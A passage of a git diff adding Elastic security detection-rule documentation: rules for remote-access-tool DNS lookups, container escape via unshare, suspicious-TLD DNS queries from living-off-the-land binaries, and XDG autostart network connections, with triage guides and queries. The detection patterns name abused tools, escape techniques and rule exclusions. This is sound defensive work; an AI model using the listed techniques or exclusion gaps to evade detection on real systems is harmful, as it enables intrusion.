Esql.dns_registered_domain in ("connectwise.com", "screenconnect.com"), "ConnectWise", + Esql.dns_registered_domain in ("centrastage.net", "datto.com", "datto.net"), "Datto", + Esql.dns_registered_domain == "dwservice.net", "DWService", + Esql.dns_registered_domain in ( + "getgo.com", "gotoassist.at", "gotoassist.com", "gotoassist.me", "gotoresolve.com", + "logmein-gateway.com", "logmein.com", "logmeininc.com", "logmeinrescue.com", "logmeinrescue.eu" + ), "GoTo/LogMeIn", + Esql.dns_registered_domain == "gotohttp.com", "GotoHTTP", + Esql.dns_registered_domain in ("kaseya.com", "kaseya.net"), "Kaseya", + Esql.dns_registered_domain == "level.io", "Level", + Esql.dns_registered_domain == "meshcentral.com", "MeshCentral", + Esql.dns_registered_domain in ("netsupportmanager.com", "netsupportsoftware.com"), "NetSupport", + Esql.dns_registered_domain in ("ninjaone.com", "ninjarmm.com", "ninjarmm.net"), "NinjaOne", + Esql.dns_registered_domain == "pulseway.com", "Pulseway", + Esql.dns_registered_domain == "remotepc.com", "RemotePC", + Esql.dns_registered_domain == "remoteutilities.com", "RemoteUtilities", + Esql.dns_registered_domain == "rustdesk.com", "RustDesk", + Esql.dns_registered_domain == "simple-help.com", "SimpleHelp", + Esql.dns_registered_domain in ("splashtop.com", "splashtop.eu"), "Splashtop", + Esql.dns_registered_domain in ( + "superops.ai", "superops.com", "superopsalpha.com", "superopsbeta.com" + ), "SuperOps", + Esql.dns_registered_domain in ( + "aurelius.host", "kabuto.io", "servably.com", "syncroapi.com", "syncromsp.com" + ), "Syncro", + Esql.dns_registered_domain == "tacticalrmm.com", "TacticalRMM", + Esql.dns_registered_domain == "teamviewer.com", "TeamViewer", + Esql.dns_registered_domain == "tightvnc.com", "TightVNC", + Esql.dns_registered_domain == "ultravnc.com", "UltraVNC", + Esql.dns_registered_domain == "vnc.com", "RealVNC", + ( + Esql.dns_question_name == "assist.zoho.com" + or Esql.dns_registered_domain in ("zohoassist.com", "zohoassist.jp") + ), "ZohoAssist", + NULL +) +| where Esql.rmm_vendor is not null +| stats + Esql.event_count = COUNT(*), + Esql.rmm_vendor_count = COUNT_DISTINCT(Esql.rmm_vendor), + Esql.rmm_vendor_values = VALUES(Esql.rmm_vendor), + Esql.dns_question_name_values = MV_SLICE(VALUES(Esql.dns_question_name), 0, 20), + Esql.dns_registered_domain_values = VALUES(Esql.dns_registered_domain), + Esql.dataset_values = VALUES(Esql.dataset), + Esql.observer_name_values = VALUES(observer.name), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp) + by Esql.client_ip +| where Esql.rmm_vendor_count >= 2 +| keep + Esql.client_ip, + Esql.event_count, + Esql.rmm_vendor_count, + Esql.rmm_vendor_values, + Esql.dns_question_name_values, + Esql.dns_registered_domain_values, + Esql.dataset_values, + Esql.observer_name_values, + Esql.first_seen, + Esql.last_seen + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-namespace-manipulation-using-unshare.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-namespace-manipulation-using-unshare.asciidoc new file mode 100644 index 0000000000..309a56db8e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-namespace-manipulation-using-unshare.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-36-namespace-manipulation-using-unshare]] +=== Namespace Manipulation Using Unshare + +Identifies suspicious usage of unshare to manipulate system namespaces. Unshare can be utilized to escalate privileges or escape container security boundaries. Threat actors have utilized this binary to allow themselves to escape to the host and access other resources or escalate privileges. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://man7.org/linux/man-pages/man1/unshare.1.html +* https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Namespace Manipulation Using Unshare* + + +The `unshare` command in Linux is used to create new namespaces, isolating processes from the rest of the system. This isolation is crucial for containerization and security. However, attackers can exploit `unshare` to break out of containers or elevate privileges by creating namespaces that bypass security controls. The detection rule identifies suspicious `unshare` executions by monitoring process starts, filtering out benign parent processes, and focusing on unusual usage patterns, thus highlighting potential misuse. + + +*Possible investigation steps* + + +- Review the process tree to understand the context of the unshare execution, focusing on the parent process and any child processes spawned by unshare. +- Investigate the user account associated with the unshare execution to determine if it is a legitimate user or potentially compromised. +- Examine the command-line arguments used with unshare to identify any unusual or suspicious options that may indicate an attempt to bypass security controls. +- Check for any recent changes or anomalies in the system logs around the time of the unshare execution to identify potential indicators of compromise or privilege escalation attempts. +- Correlate the unshare event with other security alerts or logs to determine if it is part of a larger attack pattern or campaign. + + +*False positive analysis* + + +- System management tools like udevadm and systemd-udevd may invoke unshare as part of their normal operations. These should be excluded by ensuring the rule filters out processes with these as parent executables. +- Snap package management can trigger unshare during its operations. Exclude processes where the arguments include /usr/bin/snap to prevent unnecessary alerts. +- Java applications might occasionally use unshare for legitimate purposes. Exclude processes with java as the parent name to reduce false positives. +- Custom scripts or administrative tasks that use unshare for legitimate namespace management should be reviewed and, if deemed safe, added to the exclusion list to prevent repeated alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further unauthorized access or lateral movement within the network. +- Terminate any suspicious processes associated with the `unshare` command that do not have legitimate parent processes or arguments, as identified in the detection query. +- Conduct a thorough review of system logs and process trees to identify any additional unauthorized or suspicious activities that may have occurred in conjunction with the `unshare` execution. +- Revoke any unauthorized access or privileges that may have been granted as a result of the namespace manipulation, ensuring that all user and process permissions are appropriately restricted. +- Restore the affected system from a known good backup if any unauthorized changes or damage to the system integrity are detected. +- Implement additional monitoring and alerting for unusual `unshare` usage patterns to enhance detection capabilities and prevent future occurrences. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "executed") and +process.name == "unshare" and not ( + ?process.parent.executable like ("/usr/bin/udevadm", "*/lib/systemd/systemd-udevd", "/usr/bin/unshare") or + ?process.args == "/usr/bin/snap" and not process.parent.name in ("zz-proxmox-boot", "java") or + ?process.parent.args like ( + "/etc/kernel/postinst.d/zz-proxmox-boot", "/opt/openssh/sbin/sshd", "/usr/sbin/sshd", + "/snap/*", "/home/*/.local/share/JetBrains/Toolbox/*", "/var/tmp/foreman-ssh-cmd-*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-network-activity-to-a-suspicious-top-level-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-network-activity-to-a-suspicious-top-level-domain.asciidoc new file mode 100644 index 0000000000..8e8200fc1a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-network-activity-to-a-suspicious-top-level-domain.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-36-network-activity-to-a-suspicious-top-level-domain]] +=== Network Activity to a Suspicious Top Level Domain + +Identifies DNS queries to commonly abused Top Level Domains by common LOLBINs or executables running from world writable directories or unsigned binaries. This behavior matches on common malware C2 abusing less formal domain names. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cybercrimeinfocenter.org/top-20-tlds-by-malicious-phishing-domains + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Sysmon +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Living off the Land +* Threat: Suspicious TLD +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Activity to a Suspicious Top Level Domain* + + + +*Possible investigation steps* + + +- Does the alert-local DNS result and domain shape fit the process role? + - Focus: the alert's `event.action`, `dns.question.name`, `dns.Ext.status`, and `dns.resolved_ip`; use "lookup_result" for resolved IPs and "lookup_requested" for failed or request-only lookups. + - Implication: concern rises when the name is algorithmic, newly introduced for that tool, or resolves to unrelated external infrastructure; weaker when the lookup fails immediately or the domain matches a known vendor pattern for that process, but a failed lookup alone does not clear the process. `.onion` lookups signal Tor hidden-service resolution -- treat these as elevated concern and look for Tor binaries or proxy configuration. + +- Is the alerting binary the expected tool in the expected install context? + - Focus: `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.pe.original_file_name`. + - Implication: more concerning when the binary is unsigned, renamed, user-writable, or inconsistent with its usual signer. Identity alone does not clear the DNS behavior. + +- Does the command line and launch chain fit a legitimate workflow? + - Focus: `process.command_line`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: more concerning if a document, script, or unexpected launcher started the process, or if the arguments look staged or evasive. + +- Does the same process resolve the domain and then communicate with the returned infrastructure? + - Why: a suspicious DNS lookup carries more weight when the same process reuses the returned IPs for follow-on connections or transfer behavior in the same window. + - Focus: process-scoped "lookup_result" and connection events on the same `host.id`, using `dns.resolved_ip` to bridge `dns.question.name` to `destination.ip`; treat `destination.as.organization.name` as ownership context rather than a verdict. !{investigate{"description":"","label":"Network activity for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the transform returns no results, broaden to host-scoped network events around the alert time. + - Implication: escalate when the same process repeatedly resolves the domain, connects to the returned IPs, or shows suspicious transfer patterns; lower suspicion when activity is limited to a one-off lookup with no matching connection behavior. Missing follow-on network telemetry is unresolved, not benign. + +- Do file events or child processes from the same process chain show download-and-execute or artifact staging? + - Focus: same-host file and process activity around the alert time, scoped to the alert's `process.entity_id`, with attention to `file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, and later `process.executable` reuse of a written path. + - Hint: if file coverage is missing, keep the artifact review bounded to the same host, lineage, and alert window rather than treating the lookup as harmless. + - Implication: staging risk rises when the chain writes scripts, archives, or executables to user-writable paths and later runs them. + +- Does the same process chain pivot to direct-IP traffic, lookalike domains, or TLD rotation that this rule would miss? + - Why: attackers often keep the same process chain but swap to a nearby domain, a different abusive TLD, or direct-IP egress after the first lookup. + - Focus: reuse the process-scoped network results from the prior step to look for direct `destination.ip` connections with no preceding DNS, sibling `dns.question.name` values under different TLDs, or repeated reuse of the same `dns.resolved_ip` across multiple domains. !{investigate{"description":"","label":"Network activity for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the process shifts from the flagged lookup to direct-IP traffic, nearby domain variants, or fast domain and TLD rotation on the same infrastructure; lower suspicion when surrounding DNS stays limited to one recognized vendor domain family with no adjacent variant traffic. + +- If the local DNS, process, or artifact evidence stays suspicious or unresolved, does related alert history show this DNS pattern is isolated or part of broader compromise? + - Focus: related alerts for the same `host.id` and `user.id` in the last 48 hours to test whether the same lineage, domain family, or follow-on activity recurs on the asset or follows the user across hosts. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the host or user view shows repeated suspicious lineage, related delivery or persistence alerts, or reuse of the same infrastructure on other assets; keep scope narrow when the pattern stays confined to one recognized workflow with no contradictory evidence. + +- Escalate when DNS fit, process context, follow-on communication, artifacts, or variant traffic point to unauthorized C2 or delivery; close only when all evidence aligns with a recognized benign workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Software distribution, developer tooling, or security-testing workflows can legitimately query less common TLDs. Confirm by matching the same `process.executable`, `process.code_signature.subject_name`, `dns.question.name` family, and `host.id` across prior alerts or against workflow records. +- Before creating an exception, build on `process.executable`, `process.code_signature.subject_name`, the `dns.question.name` family, and `host.id` or `user.id`. Avoid exceptions on the TLD alone, `process.name` alone, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the `process.executable`, `process.code_signature.subject_name`, `process.parent.command_line`, `dns.question.name` family, and bounded `host.id` or `user.id` scope that proved the workflow. Create an exception only if that same pattern recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, first preserve `dns.question.name`, `dns.resolved_ip`, connected `destination.ip` values, the alert's `process.entity_id`, `process.command_line`, `process.parent.command_line`, and any staged `file.path` values. Then apply reversible containment such as temporary DNS or egress blocks for the observed infrastructure or heightened monitoring on `host.id`. Escalate to host isolation only if the preserved evidence shows likely follow-on communication or staging and the asset role can tolerate stronger containment. +- If confirmed malicious, document the alert's `process.entity_id`, `process.command_line`, `process.parent.command_line`, written `file.path` artifacts, and connected `dns.question.name` or `destination.ip` infrastructure before initiating response actions. Prefer endpoint isolation as the first containment step; if direct endpoint response is unavailable, escalate with the preserved artifact set to the team that can isolate the host. Block the confirmed malicious domains and direct-IP destinations before terminating processes or deleting files. +- After containment, review other `host.id` and `user.id` alerts for the same `dns.question.name`, `destination.ip`, or `process.executable` pattern before deleting artifacts or restoring access. Then eradicate staged binaries, scripts, and any persistence or proxy changes identified during the file or variant review, and remediate the entry path that allowed the suspicious process to run. If the same suspicious window includes credential, admin-tool, or remote-session alerts, review those sessions for follow-on misuse and reset exposed credentials when the evidence supports compromise. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and dns.question.name != null and + ( + process.name : ("MSBuild.exe", "mshta.exe", "wscript.exe", "powershell.exe", "pwsh.exe", "msiexec.exe", "rundll32.exe", + "bitsadmin.exe", "InstallUtil.exe", "python.exe", "regsvr32.exe", "dllhost.exe", "node.exe", "curl.exe", + "java.exe", "javaw.exe", "*.pif", "*.com", "*.scr") or + (?process.code_signature.trusted == false or ?process.code_signature.exists == false) or + ?process.code_signature.subject_name : ("AutoIt Consulting Ltd", "OpenJS Foundation", "Python Software Foundation") or + process.executable : ( + "?:\\Users\\Public\\*.exe", "?:\\ProgramData\\*.exe", "?:\\Users\\*\\Downloads\\*.exe", + "\\Device\\HarddiskVolume*\\Users\\Public\\*.exe", "\\Device\\HarddiskVolume*\\ProgramData\\*.exe", "\\Device\\HarddiskVolume*\\Users\\*\\Downloads\\*.exe" + ) + ) and +dns.question.name regex """.*\.(top|buzz|xyz|rest|ml|cf|gq|ga|onion|monster|cyou|quest|cc|bar|cfd|click|cam|surf|tk|shop|club|icu|pw|ws|online|fun|life|boats|store|hair|skin|motorcycles|christmas|lol|makeup|mom|bond|beauty|biz|live|work|zip|country|accountant|date|party|science|loan|win|men|faith|review|racing|download|host|zone)""" and + +not process.executable : ( + "?:\\ProgramData\\Microsoft\\Windows Defender\\platform\\*\\*.exe", + "\\Device\\HarddiskVolume*\\ProgramData\\Microsoft\\Windows Defender\\platform\\*\\*.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\Versions\\*\\*.exe", + "\\Device\\HarddiskVolume*\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\Versions\\*\\*.exe" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-network-connections-initiated-through-xdg-autostart-entry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-network-connections-initiated-through-xdg-autostart-entry.asciidoc new file mode 100644 index 0000000000..da36432dd7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-network-connections-initiated-through-xdg-autostart-entry.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-36-network-connections-initiated-through-xdg-autostart-entry]] +=== Network Connections Initiated Through XDG Autostart Entry + +Detects network connections initiated through Cross-Desktop Group (XDG) autostart entries for GNOME and XFCE-based Linux distributions. XDG Autostart entries can be used to execute arbitrary commands or scripts when a user logs in. This rule helps to identify potential malicious activity where an attacker may have modified XDG autostart scripts to establish persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html +* https://hadess.io/the-art-of-linux-persistence/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connections Initiated Through XDG Autostart Entry* + + +XDG Autostart entries are used in GNOME and XFCE Linux environments to automatically execute scripts or applications upon user login, facilitating user convenience. However, adversaries can exploit this feature to maintain persistence by modifying these entries to initiate unauthorized network connections. The detection rule identifies such malicious activity by monitoring processes linked to XDG autostart and subsequent suspicious network connections, excluding known benign processes and internal IP ranges. + + +*Possible investigation steps* + + +- Review the process details from the alert, focusing on the process.entity_id and process.executable fields to identify the specific application or script that was executed through the XDG autostart entry. +- Examine the parent process information, particularly the process.parent.executable field, to confirm if the process was initiated by a legitimate session manager like /usr/bin/xfce4-session. +- Investigate the network connection details, paying attention to the destination.ip field to determine if the connection was attempted to an external or suspicious IP address not covered by the internal IP ranges specified in the query. +- Check the process.args field for any unusual or unexpected command-line arguments that might indicate malicious intent or unauthorized modifications to the autostart entry. +- Correlate the alert with other security events or logs from the same host.id to identify any additional suspicious activities or patterns that might suggest a broader compromise or persistence mechanism. +- Validate the legitimacy of the process.executable by comparing it against known benign applications listed in the query, such as /usr/lib64/firefox/firefox, to rule out false positives. + + +*False positive analysis* + + +- Network connections from legitimate applications like Firefox or FortiClient may trigger false positives. To handle this, add these applications to the exclusion list in the detection rule. +- Internal network traffic within known safe IP ranges can be mistakenly flagged. Ensure these IP ranges are included in the exclusion criteria to prevent unnecessary alerts. +- Custom scripts or applications that are part of the user's normal login process might be misidentified. Review and whitelist these processes if they are verified as non-threatening. +- Regular updates or maintenance tasks that initiate network connections during login can cause false alerts. Identify these tasks and adjust the rule to exclude them if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized network connections and potential lateral movement. +- Terminate any suspicious processes identified as being initiated through XDG autostart entries to halt any ongoing malicious activity. +- Review and remove any unauthorized or suspicious XDG autostart entries to eliminate persistence mechanisms established by the attacker. +- Conduct a thorough scan of the affected system for additional indicators of compromise, such as unauthorized user accounts or modified system files, to ensure comprehensive remediation. +- Restore any altered system configurations or files from a known good backup to ensure system integrity and functionality. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be affected. +- Implement enhanced monitoring and logging for XDG autostart entries and network connections to detect similar threats in the future and improve overall security posture. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.parent.executable == "/usr/bin/xfce4-session") or + (process.executable == "/bin/sh" and process.args == "-e" and process.args == "-u" and + process.args == "-c" and process.args : "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$;*") + ) + ] + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8", "172.31.0.0/16" + ) or + process.name in ( + "telegram-desktop", "firefox", "gnome-calculator", "remmina", "spotify", "librewolf", "fortitraylauncher", + "flameshot", "thunderbird", "update-manager", "warp-terminal", "obs", "transmission-gtk", "telegram", + "mintupdate-launcher", "firefox-bin", "xbrlapi", "gnome-software" + ) + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: XDG Autostart Entries +** ID: T1547.013 +** Reference URL: https://attack.mitre.org/techniques/T1547/013/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: 